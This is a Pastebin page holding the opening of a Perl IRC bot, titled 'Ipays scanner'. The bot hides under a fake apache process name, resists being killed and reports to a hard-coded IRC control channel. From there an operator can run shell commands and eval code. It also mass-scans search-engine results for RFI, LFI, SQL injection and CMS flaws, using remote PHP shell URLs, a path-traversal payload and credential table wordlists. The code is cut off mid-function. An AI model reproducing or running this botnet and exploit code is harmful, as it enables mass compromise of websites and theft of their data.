Advertisement
sirnon

(s4l1ty) Ipays scanner

Apr 23rd, 2012
546
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 83.26 KB | None | 0 0
  1. #!/usr/bin/perl
  2. ################################################
  3. use HTTP::Request; #
  4. use HTTP::Request::Common; #
  5. use HTTP::Request::Common qw(POST); #
  6. use LWP::Simple; #
  7. use LWP 5.53; #
  8. use LWP::UserAgent; #
  9. use Socket; #
  10. use IO::Socket; #
  11. use IO::Socket::INET; #
  12. use IO::Select; #
  13. use MIME::Base64; #
  14. ################################################
  15.  
  16. my $datetime = localtime;
  17.  
  18. my $fakeproc = "/usr/sbin/apache3 -k start";
  19. my $ircserver = "irc.ganyot.us.to";
  20. my $ircport = "6667";
  21. my $nickname = "timlopus";
  22. my $ident = "jems";
  23. my $channel = "#lopus";
  24. my $admin = "Susis";
  25. my $fullname = "Susis IRC Scanner";
  26.  
  27. my $nob0dy = "15,1(4@9AspAlt15)";
  28. my $lfilogo = "15,1(4@9LFI15)";
  29. my $rfilogo = "15,1(4@9RFI15)";
  30. my $xmllogo = "15,1(4@9XML15)";
  31. my $sqllogo = "15,1(4@9SQL15)";
  32. my $oscologo = "15,1(4@9OSCO15)";
  33. my $zenlogo = "15,1(4@9ZEN15)";
  34. my $oplogo = "15,1(4@9OPEN15)";
  35. my $lokologo = "15,1(4@9LOKO15)";
  36. my $thumblogo = "15,1(4@9TIMTHUMB15)";
  37.  
  38. my $lficmd = '!lfi';
  39. my $rficmd = '!rfi';
  40. my $xmlcmd = '!xml';
  41. my $sqlcmd = '!sql';
  42. my $oscocmd = '!osco';
  43. my $zencmd = '!zen';
  44. my $lokocmd = '!loko';
  45. my $opcmd = '!op';
  46. my $thumbcmd = '!thumb';
  47.  
  48. my $cmdlfi = '!cmdlfi';
  49. my $cmdxml = '!cmdxml';
  50.  
  51. my $injector = "http://sec.usu.ac.id:8080/images/upload_2.jpg";
  52. my $botshell = "http://sec.usu.ac.id:8080/images/upload_3.jpg";
  53. my $botshell2 = "http://sec.usu.ac.id:8080/images/upload_3.jpg";
  54. my $thumbshell = "http://blogger.com.autoelectricahernandez.com/x.php";
  55.  
  56. my @uagents = ("Microsoft Internet Explorer/4.0b1 (Windows 95)","Mozilla/1.22 (compatible; MSIE 1.5; Windows NT)","Mozilla/1.22 (compatible; MSIE 2.0; Windows 95)","Mozilla/2.0 (compatible; MSIE 3.01; Windows 98)","Mozilla/4.0 (compatible; MSIE 5.0; SunOS 5.9 sun4u; X11)","Mozilla/4.0 (compatible; MSIE 5.17; Mac_PowerPC)","Mozilla/4.0 (compatible; MSIE 5.23; Mac_PowerPC)","Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)","Mozilla/4.0 (compatible; MSIE 6.0; MSN 2.5; Windows 98)","Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)","Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)","Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727)","Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322)","Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1)","Mozilla/4.0 (compatible; MSIE 7.0b; Win32)","Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)","Microsoft Pocket Internet Explorer/0.6","Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; PPC; 240x320)","MOT-MPx220/1.400 Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; Smartphone;","Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.1; Windows NT 5.1;)","Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.2; Windows NT 5.1;)","Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)","Advanced Browser (http://www.avantbrowser.com)","Avant Browser (http://www.avantbrowser.com)","Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)","Mozilla/5.0 (compatible; Konqueror/3.1-rc3; i686 Linux; 20020515)","Mozilla/5.0 (compatible; Konqueror/3.1; Linux 2.4.22-10mdk; X11; i686; fr, fr_FR)","Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007","Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.8) Gecko/20050511","Mozilla/5.0 (X11; U; Linux i686; cs-CZ; rv:1.7.12) Gecko/20050929","Mozilla/5.0 (Windows; U; Windows NT 5.1; nl-NL; rv:1.7.5) Gecko/20041202 Firefox/1.0","Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.7.6) Gecko/20050512 Firefox","Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.7.8) Gecko/20050609 Firefox/1.0.4","Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.9) Gecko/20050711 Firefox/1.0.5","Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.10) Gecko/20050716 Firefox/1.0.6","Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-GB; rv:1.7.10) Gecko/20050717 Firefox/1.0.6","Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.12) Gecko/20050915 Firefox/1.0.7","Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.7.12) Gecko/20050915 Firefox/1.0.7","Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8b4) Gecko/20050908 Firefox/1.4","Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8b4) Gecko/20050908 Firefox/1.4","Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8) Gecko/20051107 Firefox/1.5","Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1","Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1","Mozilla/5.0 (BeOS; U; BeOS BePC; en-US; rv:1.9a1) Gecko/20051002 Firefox/1.6a1","Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8) Gecko/20060321 Firefox/2.0a1","Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1b1) Gecko/20060710 Firefox/2.0b1","Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1b2) Gecko/20060710 Firefox/2.0b2","Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1) Gecko/20060918 Firefox/2.0","Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8) Gecko/20051219 SeaMonkey/1.0b","Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.8.0.1) Gecko/20060130 SeaMonkey/1.0","Mozilla/3.0 (OS/2; U)","Mozilla/3.0 (X11; I; SunOS 5.4 sun4m)","Mozilla/4.61 (Macintosh; I; PPC)","Mozilla/4.61 [en] (OS/2; U)","Mozilla/4.7C-CCK-MCD {C-UDP; EBM-APPLE} (Macintosh; I; PPC)","Mozilla/4.8 [en] (Windows NT 5.0; U)");
  57. my $uagent = $uagents[rand(scalar(@uagents))];
  58. my $lfdtest = "../../../../../../../../../../../../../../../../../../../../../../../../proc/self/environ%00";
  59. my $open_test = "/admin/view/javascript/fckeditor/editor/filemanager/connectors/test.html";
  60. my $loko_output = ("FCKeditor - Resources Browser");
  61. my $open_output = ("FCKeditor - Connectors Tests");
  62.  
  63. my @tabele = ('admin','tblUsers','tblAdmin','user','users','username','usernames','usuario',
  64. 'name','names','nombre','nombres','usuarios','member','members','admin_table','miembro','miembros','membername','admins','administrator',
  65. 'administrators','passwd','password','passwords','pass','Pass','tAdmin','tadmin','user_password','user_passwords','user_name','user_names',
  66. 'member_password','mods','mod','moderators','moderator','user_email','user_emails','user_mail','user_mails','mail','emails','email','address',
  67. 'e-mail','emailaddress','correo','correos','phpbb_users','log','logins','login','registers','register','usr','usrs','ps','pw','un','u_name','u_pass',
  68. 'tpassword','tPassword','u_password','nick','nicks','manager','managers','administrador','tUser','tUsers','administradores','clave','login_id','pwd','pas','sistema_id',
  69. 'sistema_usuario','sistema_password','contrasena','auth','key','senha','tb_admin','tb_administrator','tb_login','tb_logon','tb_members_tb_member',
  70. 'tb_users','tb_user','tb_sys','sys','fazerlogon','logon','fazer','authorization','membros','utilizadores','staff','nuke_authors','accounts','account','accnts',
  71. 'associated','accnt','customers','customer','membres','administrateur','utilisateur','tuser','tusers','utilisateurs','password','amministratore','god','God','authors',
  72. 'asociado','asociados','autores','membername','autor','autores','Users','Admin','Members','Miembros','Usuario','Usuarios','ADMIN','USERS','USER','MEMBER','MEMBERS','USUARIO','USUARIOS','MIEMBROS','MIEMBRO');
  73. my @kolumny = ('admin_name','cla_adm','usu_adm','fazer','logon','fazerlogon','authorization','membros','utilizadores','sysadmin','email',
  74. 'user_name','username','name','user','user_name','user_username','uname','user_uname','usern','user_usern','un','user_un','mail',
  75. 'usrnm','user_usrnm','usr','usernm','user_usernm','nm','user_nm','login','u_name','nombre','login_id','usr','sistema_id','author',
  76. 'sistema_usuario','auth','key','membername','nme','unme','psw','password','user_password','autores','pass_hash','hash','pass','correo',
  77. 'userpass','user_pass','upw','pword','user_pword','passwd','user_passwd','passw','user_passw','pwrd','user_pwrd','pwd','authors',
  78. 'user_pwd','u_pass','clave','usuario','contrasena','pas','sistema_password','autor','upassword','web_password','web_username');
  79. $SIG{'INT'} = 'IGNORE';
  80. $SIG{'HUP'} = 'IGNORE';
  81. $SIG{'TERM'} = 'IGNORE';
  82. $SIG{'CHLD'} = 'IGNORE';
  83. $SIG{'PS'} = 'IGNORE';
  84. $ircserver = "$ARGV[0]" if $ARGV[0];
  85. $0 = "$fakeproc"."\0" x 16;;
  86. my $pid = fork;
  87. exit if $pid;
  88. die "\n[!] Something Wrong !!!: $!\n\n" unless defined($pid);
  89.  
  90. our %irc_servers;
  91. our %DCC;
  92. my $dcc_sel = new IO::Select->new();
  93. $sel_client = IO::Select->new();
  94. sub sendraw {
  95. if ($#_ == '1') {
  96. my $socket = $_[0];
  97. print $socket "$_[1]\n";
  98. } else {
  99. print $IRC_cur_socket "$_[0]\n";
  100. }
  101. }
  102.  
  103. sub connector {
  104. my $mynick = $_[0];
  105. my $ircserver_con = $_[1];
  106. my $ircport_con = $_[2];
  107. my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$ircserver_con", PeerPort=>$ircport_con) or return(1);
  108. if (defined($IRC_socket)) {
  109. $IRC_cur_socket = $IRC_socket;
  110. $IRC_socket->autoflush(1);
  111. $sel_client->add($IRC_socket);
  112. $irc_servers{$IRC_cur_socket}{'host'} = "$ircserver_con";
  113. $irc_servers{$IRC_cur_socket}{'port'} = "$ircport_con";
  114. $irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
  115. $irc_servers{$IRC_cur_socket}{'myip'} = $IRC_socket->sockhost;
  116. nick("$mynick");
  117. my $versi = "9,1[!] 1,15 Maza CreW 9,1 [!]";
  118. sendraw("USER $ident ".$IRC_socket->sockhost." $ircserver_con :$versi");
  119. sleep (1);}}
  120. sub parse {
  121. my $servarg = shift;
  122. if ($servarg =~ /^PING \:(.*)/) {
  123. sendraw("PONG :$1");
  124. }
  125. elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
  126. if (lc($1) eq lc($mynick)) {
  127. $mynick = $4;
  128. $irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
  129. }
  130. }
  131. elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
  132. nick("$mynick".int rand(1));
  133. }
  134. elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
  135. $mynick = $2;
  136. $irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
  137. $irc_servers{$IRC_cur_socket}{'nome'} = "$1";
  138. sendraw("MODE $mynick +i");
  139. sendraw("JOIN $channel");
  140. sleep(2);
  141. sendraw("PRIVMSG $admin :Hi $admin im here !!!");
  142. }
  143. }
  144. my $line_temp;
  145. while( 1 ) {
  146. while (!(keys(%irc_servers))) { &connector("$nickname", "$ircserver", "$ircport"); }
  147. select(undef, undef, undef, 0.01);;
  148. delete($irc_servers{''}) if (defined($irc_servers{''}));
  149. my @ready = $sel_client->can_read(0);
  150. next unless(@ready);
  151. foreach $fh (@ready) {
  152. $IRC_cur_socket = $fh;
  153. $mynick = $irc_servers{$IRC_cur_socket}{'nick'};
  154. $nread = sysread($fh, $ircmsg, 4096);
  155. if ($nread == 0) {
  156. $sel_client->remove($fh);
  157. $fh->close;
  158. delete($irc_servers{$fh});
  159. }
  160. @lines = split (/\n/, $ircmsg);
  161. $ircmsg =~ s/\r\n$//;
  162.  
  163. if ($ircmsg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
  164. my ($nick,$ident,$host,$path,$msg) = ($1,$2,$3,$4,$5);
  165. my $engine ="GooGLe,ReDiff,Bing,ALtaViSTa,AsK,UoL,CluSty,GutSer,GooGle2,ExaLead,VirgiLio,WebDe,AoL,SaPo,DuCk,YauSe,BaiDu,KiPoT,GiBLa,YahOo,HotBot,LyCos,LyGo,BLacK,oNeT,SiZuka,WaLLa,DeMos,RoSe,SeZnaM,TisCali,NaVeR";
  166. if ($path eq $mynick) {
  167. if ($msg =~ /^PING (.*)/) {
  168. sendraw("NOTICE $nick :PING $1");
  169. }
  170. if ($msg =~ /^VERSION/) {
  171. sendraw("NOTICE $nick :VERSION mIRC v6.17 Khaled Mardam-Bey");
  172. }
  173. if ($msg =~ /^TIME/) {
  174. sendraw("NOTICE $nick :TIME ".$datetime."");
  175. }
  176. if (&isAdmin($nick) && $msg eq "!die") {
  177. &shell("$path","kill -9 $$");
  178. }
  179. if (&isAdmin($nick) && $msg eq "!killall") {
  180. &shell("$path","killall -9 perl");
  181. }
  182. if (&isAdmin($nick) && $msg eq "!reset") {
  183. sendraw("QUIT :Restarting...");
  184. }
  185. if (&isAdmin($nick) && $msg =~ /^!join \#(.+)/) {
  186. sendraw("JOIN #".$1);
  187. }
  188. if (&isAdmin($nick) && $msg =~ /^!part \#(.+)/) {
  189. sendraw("PART #".$1);
  190. }
  191. if (&isAdmin($nick) && $msg =~ /^!nick (.+)/) {
  192. sendraw("NICK ".$1);
  193. }
  194. if (&isAdmin($nick) && $msg =~ /^!pid/) {
  195. sendraw($IRC_cur_socket, "PRIVMSG $nick :9,1Fake Process/PID : $fakeproc - $$");
  196. }
  197. if (&isAdmin($nick) && $msg !~ /^!/) {
  198. &shell("$nick","$msg");
  199. }
  200. if (&isAdmin($nick) && $msg=~ /^$cmdlfi\s+(.*?)\s+(.*)/){
  201. my $url = $1.$lfdtest;
  202. my $cmd = $2;
  203. &cmdlfi($url,$cmd,$nick);
  204. }
  205. if (&isAdmin($nick) && $msg=~ /^$cmdxml\s+(.*?)\s+(.*)/){
  206. my $url = $1;
  207. my $cmd = $2;
  208. &cmdxml($url,$cmd,$nick);
  209. }
  210. }
  211. else {
  212. if (&isAdmin($nick) && $msg eq "!die") {
  213. &shell("$path","kill -9 $$");
  214. }
  215. if (&isAdmin($nick) && $msg eq "!killall") {
  216. &shell("$path","killall -9 perl");
  217. }
  218. if (&isAdmin($nick) && $msg eq "!reset") {
  219. sendraw("QUIT :Restarting...");
  220. }
  221. if (&isAdmin($nick) && $msg =~ /^!join \#(.+)/) {
  222. sendraw("JOIN #".$1);
  223. }
  224. if (&isAdmin($nick) && $msg eq "!part") {
  225. sendraw("PART $path");
  226. }
  227. if (&isAdmin($nick) && $msg =~ /^!part \#(.+)/) {
  228. sendraw("PART #".$1);
  229. }
  230. if (&isAdmin($nick) && $msg =~ /^\.sh (.*)/) {
  231. &shell("$path","$1");
  232. }
  233. if (&isAdmin($nick) && $msg =~ /^$mynick (.*)/) {
  234. &shell("$path","$1");
  235. }
  236. if (&isAdmin($nick) && $msg =~ /^!eval (.*)/) {
  237. eval "$1";
  238. }
  239. ##################################################################### HIT
  240.  
  241. if ($msg=~ /^$cmdlfi\s+(.+?)\s+(.*)/){
  242. my $url = $1.$lfdtest;
  243. my $cmd = $2;
  244. &cmdlfi($url,$cmd,$path);
  245. }
  246. if ($msg=~ /^$cmdxml\s+(.+?)\s+(.*)/){
  247. my $url = $1;
  248. my $cmd = $2;
  249. &cmdxml($url,$cmd,$path);
  250. }
  251.  
  252. ##################################################################### HELP COMMAND
  253.  
  254. if ($msg=~ /^!help/) {
  255. my $helplogo = "15,1(4@9Help15)";
  256. &msg("$path","$helplogo 14 #####################9[HELP]14##############################");
  257. &msg("$path","$helplogo 7 ( $rficmd|$lficmd|$sqlcmd|$xmlcmd|$thumbcmd [bug][dork]|!portscan[ip][port]) )");
  258. &msg("$path","$helplogo 7 ( $cmdlfi|$cmdxml) [target][cmd] )");
  259. &msg("$path","$helplogo 7 ( $zencmd | $oscocmd | $lokocmd | $opcmd [dork] ) ");sleep(2);
  260. &msg("$path","$helplogo 7 ( !about|!engine|!version|!pid )");
  261. &msg("$path","$helplogo 14 ######################9[END HELP]14#########################");
  262. }
  263. if ($msg=~ /^!engine/) {
  264. my $enginelogo = "15,1(4@9EnginE15)";
  265. &msg("$path","$enginelogo 4 GooGLe,ReDiff,Bing,ALtaViSTa,AsK,UoL,CluSty,GutSer,GooGle2,ExaLead,VirgiLio");
  266. &msg("$path","$enginelogo 4 WebDe,AoL,SaPo,DuCk,YauSe,BaiDu,KiPoT,GiBLa,YahOo,HotBot,LyCos,LyGo");
  267. &msg("$path","$enginelogo 4 BLacK,oNeT,SiZuka,WaLLa,DeMos,RoSe,SeZnaM,TisCali,NaVeR");
  268. }
  269. if ($msg=~ /^!about/) {
  270. my $aboutlogo = "15,1(4@9About Bot15)";
  271. &msg("$path","$aboutlogo 9Nob0dy Priv8 Scanner SE v1.2 Coded by Vrs-hCk");
  272. &msg("$path","$aboutlogo 13CoDeD by c0li ByroeNet");
  273. &msg("$path","$aboutlogo 7Modified by ipays ByroeNet");
  274. }
  275. if ($msg=~ /^!version/) {
  276. my $versionlogo = "15,1(4@9Version15)";
  277. &msg("$path","$versionlogo 13 priv8 SE v1.2");
  278. }
  279. if ($msg=~ /^!respon/ || $msg=~ /^!id/) {
  280. if (&isFound($injector,"SkFOQ09L=")) {
  281. &msg("$path","15,1(4@9Injector15)13 PHP Shell 9READY!!!");
  282. } else {
  283. &msg("$path","15,1(4@9Injector15)13 PHP Shell 4LOST!!!");
  284. }
  285. }
  286. if (&isAdmin($nick) && $msg =~ /^!pid/) {
  287. &notice("$nick","9,1Fake Process/PID : 8$fakeproc - $$");
  288. }
  289.  
  290. ##################################################################### RFI SCAN
  291.  
  292. if ($msg=~ /^$rficmd\s+(.+?)\s+(.*)/) {
  293. if (my $pid = fork) {
  294. waitpid($pid, 0);
  295. }
  296. else {
  297. if (fork) { exit; } else {
  298. if (&isFound($injector,"SkFOQ09L=")) {
  299. my ($bug,$dork) = ($1,$2);
  300. &msg("$path","$rfilogo 9Dork :4 $dork");
  301. &msg("$path","$rfilogo 13Bugz :4 $bug");
  302. &msg("$path","$rfilogo 8Search Engine Loading ...");
  303. &scan_start($path,$bug,$dork,$engine,1);
  304. } else {
  305. &msg("$path","[ $nick ] $rfilogo 4PHP Shell Not Found!");
  306. }
  307. }
  308. exit;
  309. }
  310. }
  311.  
  312. ##################################################################### LFI SCAN
  313.  
  314. if ($msg=~ /^$lficmd\s+(.+?)\s+(.*)/) {
  315. if (my $pid = fork) {
  316. waitpid($pid, 0);
  317. }
  318. else {
  319. if (fork) { exit; } else {
  320. if (&isFound($injector,"SkFOQ09L=")) {
  321. my ($bug,$dork) = ($1,$2);
  322. &msg("$path","$lfilogo 9Dork :4 $dork");
  323. &msg("$path","$lfilogo 13Bugz :4 $bug");
  324. &msg("$path","$lfilogo 8Search Engine Loading ...");
  325. &scan_start($path,$bug,$dork,$engine,2);
  326. } else {
  327. &msg("$path","[ $nick ] $lfilogo 4PHP Shell Not Found!");
  328. }
  329. }
  330. exit;
  331. }
  332. }
  333.  
  334. ##################################################################### XML SCAN
  335. if ($msg=~ /^$xmlcmd\s+(.*?)\s+(.*)/ ) {
  336. if (my $pid = fork) {
  337. waitpid($pid, 0);
  338. }
  339. else {
  340. if (fork) { exit; } else {
  341. if (&isFound($injector,"SkFOQ09L=")) {
  342. my ($bug,$dork) = ($1,$2);
  343. &msg("$path","$xmllogo 9Dork :4 $dork");
  344. &msg("$path","$xmllogo 13Bugz :4 $bug");
  345. &msg("$path","$xmllogo 8Search Engine Loading ...");
  346. &scan_start($path,$bug,$dork,$engine,3);
  347. } else {
  348. &msg("$path","[ $nick ] $xmllogo 4PHP Shell Not Found!");
  349. }
  350. }
  351. exit;
  352. }
  353. }
  354.  
  355. ##################################################################### SQL SCAN
  356.  
  357. if ($msg=~ /^$sqlcmd\s+(.+?)\s+(.*)/) {
  358. if (my $pid = fork) {
  359. waitpid($pid, 0);
  360. }
  361. else {
  362. if (fork) { exit; } else {
  363. my ($bug,$dork) = ($1,$2);
  364. &msg("$path","$sqllogo 9Dork :4 $dork");
  365. &msg("$path","$sqllogo 13Bugz :4 $bug");
  366. &msg("$path","$sqllogo 8Search Engine Loading ...");
  367. &scan_start($path,$bug,$dork,$engine,4);
  368. }
  369. exit;
  370. }
  371. }
  372.  
  373. ##################################################################### OSCO SCAN
  374.  
  375. if ($msg=~ /^$oscocmd\s+(.*)/) {
  376. if (my $pid = fork) {
  377. waitpid($pid, 0);
  378. }
  379. else {
  380. if (fork) { exit; } else {
  381. if (&isFound($injector,"SkFOQ09L=")) {
  382. my ($bug,$dork) = ("admin/categories.php/login.php?cPath=&action=new_product_preview",$1);
  383. &msg("$path","$oscologo 9Dork :4 $dork");
  384. &msg("$path","$oscologo 8Search Engine Loading ...");
  385. &scan_start($path,$bug,$dork,$engine,5);
  386. } else {
  387. &msg("$path","[ $nick ] $oscologo 4PHP Shell Not Found!");
  388. }
  389. }
  390. exit;
  391. }
  392. }
  393. ##################################################################### OSCO SCAN
  394.  
  395. if ($msg=~ /^$oscocmd\s+(.*)/) {
  396. if (my $pid = fork) {
  397. waitpid($pid, 0);
  398. }
  399. else {
  400. if (fork) { exit; } else {
  401. if (&isFound($injector,"SkFOQ09L=")) {
  402. my ($bug,$dork) = ("admin/file_manager.php/login.php",$1);
  403. &scan_start($path,$bug,$dork,$engine,5);
  404. } else {
  405. &msg("$path","[ $nick ] $oscologo 4PHP Shell Not Found!");
  406. }
  407. }
  408. exit;
  409. }
  410. }
  411.  
  412. ##################################################################### LOKO SCAN
  413.  
  414. if ($msg=~ /^$lokocmd\s+(.*)/) {
  415. if (my $pid = fork) {
  416. waitpid($pid, 0);
  417. }
  418. else {
  419. if (fork) { exit; } else {
  420. my ($bug,$dork) = ("filemanager/browser.html",$1);
  421. &msg("$path","$lokologo 9Dork :4 $dork");
  422. &msg("$path","$lokologo 8Search Engine Loading ...");
  423. &scan_start($path,$bug,$dork,$engine,6);
  424. }
  425. exit;
  426. }
  427. }
  428. ##################################################################### OPENCART SCAN
  429.  
  430. if ($msg=~ /^$opcmd\s+(.+?)\s+(.*)/) {
  431. if (my $pid = fork) {
  432. waitpid($pid, 0);
  433. }
  434. else {
  435. if (fork) { exit; } else {
  436. my ($bug,$dork) = ($1,$2);
  437. &msg("$path","$oplogo 9Dork :4 $dork");
  438. &msg("$path","$oplogo 13Bugz :4 $bug");
  439. &msg("$path","$oplogo 8Search Engine Loading ...");
  440. &scan_start($path,$bug,$dork,$engine,7);
  441. }
  442. exit;
  443. }
  444. }
  445. ##################################################################### ZEN SCAN
  446.  
  447. if ($msg=~ /^$zencmd\s+(.*)/) {
  448. if (my $pid = fork) {
  449. waitpid($pid, 0);
  450. }
  451. else {
  452. if (fork) { exit; } else {
  453. my ($bug,$dork) = ("admin/sqlpatch.php/password_forgotten.php?action=execute",$1);
  454. &msg("$path","$zenlogo 9Dork :4 $dork");
  455. &msg("$path","$zenlogo 13Search Engine Loading ...");
  456. &scan_start($path,$bug,$dork,$engine,8);
  457. }
  458. exit;
  459. }
  460. }
  461. ##################################################################### ZEN SCAN
  462.  
  463. if ($msg=~ /^$zencmd\s+(.*)/) {
  464. if (my $pid = fork) {
  465. waitpid($pid, 0);
  466. }
  467. else {
  468. if (fork) { exit; } else {
  469. my ($bug,$dork) = ("admin/record_company.php",$1);
  470. &scan_start($path,$bug,$dork,$engine,8);
  471. }
  472. exit;
  473. }
  474. }
  475. ##################################################################### TIMTHUMB.PHP SCAN (ADDED)
  476.  
  477. if ($msg=~ /^$thumbcmd\s+(.+?)\s+(.*)/) {
  478. if (my $pid = fork) {
  479. waitpid($pid, 0);
  480. }
  481. else {
  482. if (fork) { exit; } else {
  483. my ($bug,$dork) = ($1,$2);
  484. &msg("$path","$thumblogo 9Dork :4 $dork");
  485. &msg("$path","$thumblogo 13Bugz :4 $bug");
  486. &msg("$path","$thumblogo 8Search Engine Loading ...");
  487. &scan_start($path,$bug,$dork,$engine,9);
  488. }
  489. exit;
  490. }
  491. }
  492. #####################################################################
  493. }
  494. }
  495.  
  496. for(my $c=0; $c<= $#lines; $c++) {
  497. $line = $lines[$c];
  498. $line = $line_temp.$line if ($line_temp);
  499. $line_temp = '';
  500. $line =~ s/\r$//;
  501. unless ($c == $#lines) {
  502. &parse("$line");
  503. } else {
  504. if ($#lines == 0) {
  505. &parse("$line");
  506. } elsif ($lines[$c] =~ /\r$/) {
  507. &parse("$line");
  508. } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
  509. &parse("$line");
  510. } else {
  511. $line_temp = $line;
  512. }
  513. }
  514. }
  515. }
  516. }
  517.  
  518. #########################################
  519. sub type () {
  520. my ($chan,$bug,$dork,$engine,$type) = @_;
  521. if ($type == 1){&rfi($chan,$bug,$dork,$engine);}
  522. elsif ($type == 2){&lfi($chan,$bug,$dork,$engine);}
  523. elsif ($type == 3){&xml($chan,$bug,$dork,$engine);}
  524. elsif ($type == 4){&sql($chan,$bug,$dork,$engine);}
  525. elsif ($type == 5){&osco($chan,$bug,$dork,$engine);}
  526. elsif ($type == 6){&loko($chan,$bug,$dork,$engine);}
  527. elsif ($type == 7){&op($chan,$bug,$dork,$engine);}
  528. elsif ($type == 8){&zen($chan,$bug,$dork,$engine);}
  529. elsif ($type == 9){&thumb($chan,$bug,$dork,$engine);}
  530. }
  531. sub scan_start() {
  532. my ($chan,$bug,$dork,$engine,$type) = @_;
  533. if ($engine =~ /google/i) {
  534. if (my $pid = fork) { waitpid($pid, 0); }
  535. else { if (fork) { exit; } else {
  536. &type($chan,$bug,$dork,"GooGLe",$type);
  537. } exit; }
  538. }
  539.  
  540. if ($engine =~ /google2/i) {
  541. if ($pid = fork) { waitpid($pid, 0); }
  542. else { if (fork) { exit; } else {
  543. &type($chan,$bug,$dork,"GooGle2",$type);
  544. } exit; }
  545. }
  546.  
  547. if ($engine =~ /bing/i) {
  548. if ($pid = fork) { waitpid($pid, 0); }
  549. else { if (fork) { exit; } else {
  550. &type($chan,$bug,$dork,"Bing",$type);
  551. } exit; }
  552. }
  553.  
  554. if ($engine =~ /altavista/i) {
  555. if ($pid = fork) { waitpid($pid, 0); }
  556. else { if (fork) { exit; } else {
  557. &type($chan,$bug,$dork,"ALtaViSTa",$type);
  558. } exit; }
  559. }
  560.  
  561. if ($engine =~ /ask/i) {
  562. if ($pid = fork) { waitpid($pid, 0); }
  563. else { if (fork) { exit; } else {
  564. &type($chan,$bug,$dork,"AsK",$type);
  565. } exit; }
  566. }
  567.  
  568. if ($engine =~ /uol/i) {
  569. if ($pid = fork) { waitpid($pid, 0); }
  570. else { if (fork) { exit; } else {
  571. &type($chan,$bug,$dork,"UoL",$type);
  572. } exit; }
  573. }
  574.  
  575. if ($engine =~ /yahoo/i) {
  576. if ($pid = fork) { waitpid($pid, 0); }
  577. else { if (fork) { exit; } else {
  578. &type($chan,$bug,$dork,"YahOo",$type);
  579. } exit; }
  580. }
  581.  
  582. if ($engine =~ /clusty/i) {
  583. if ($pid = fork) { waitpid($pid, 0); }
  584. else { if (fork) { exit; } else {
  585. &type($chan,$bug,$dork,"CluSty",$type);
  586. } exit; }
  587. }
  588.  
  589. if ($engine =~ /gutser/i) {
  590. if ($pid = fork) { waitpid($pid, 0); }
  591. else { if (fork) { exit; } else {
  592. &type($chan,$bug,$dork,"GutSer",$type);
  593. } exit; }
  594. }
  595.  
  596. if ($engine =~ /rediff/i) {
  597. if ($pid = fork) { waitpid($pid, 0); }
  598. else { if (fork) { exit; } else {
  599. &type($chan,$bug,$dork,"ReDiff",$type);
  600. } exit; }
  601. }
  602.  
  603. if ($engine =~ /virgilio/i) {
  604. if ($pid = fork) { waitpid($pid, 0); }
  605. else { if (fork) { exit; } else {
  606. &type($chan,$bug,$dork,"VirgiLio",$type);
  607. } exit; }
  608. }
  609.  
  610. if ($engine =~ /webde/i) {
  611. if ($pid = fork) { waitpid($pid, 0); }
  612. else { if (fork) { exit; } else {
  613. &type($chan,$bug,$dork,"WebDe",$type);
  614. } exit; }
  615. }
  616.  
  617. if ($engine =~ /exalead/i) {
  618. if ($pid = fork) { waitpid($pid, 0); }
  619. else { if (fork) { exit; } else {
  620. &type($chan,$bug,$dork,"ExaLead",$type);
  621. } exit; }
  622. }
  623.  
  624. if ($engine =~ /lycos/i) {
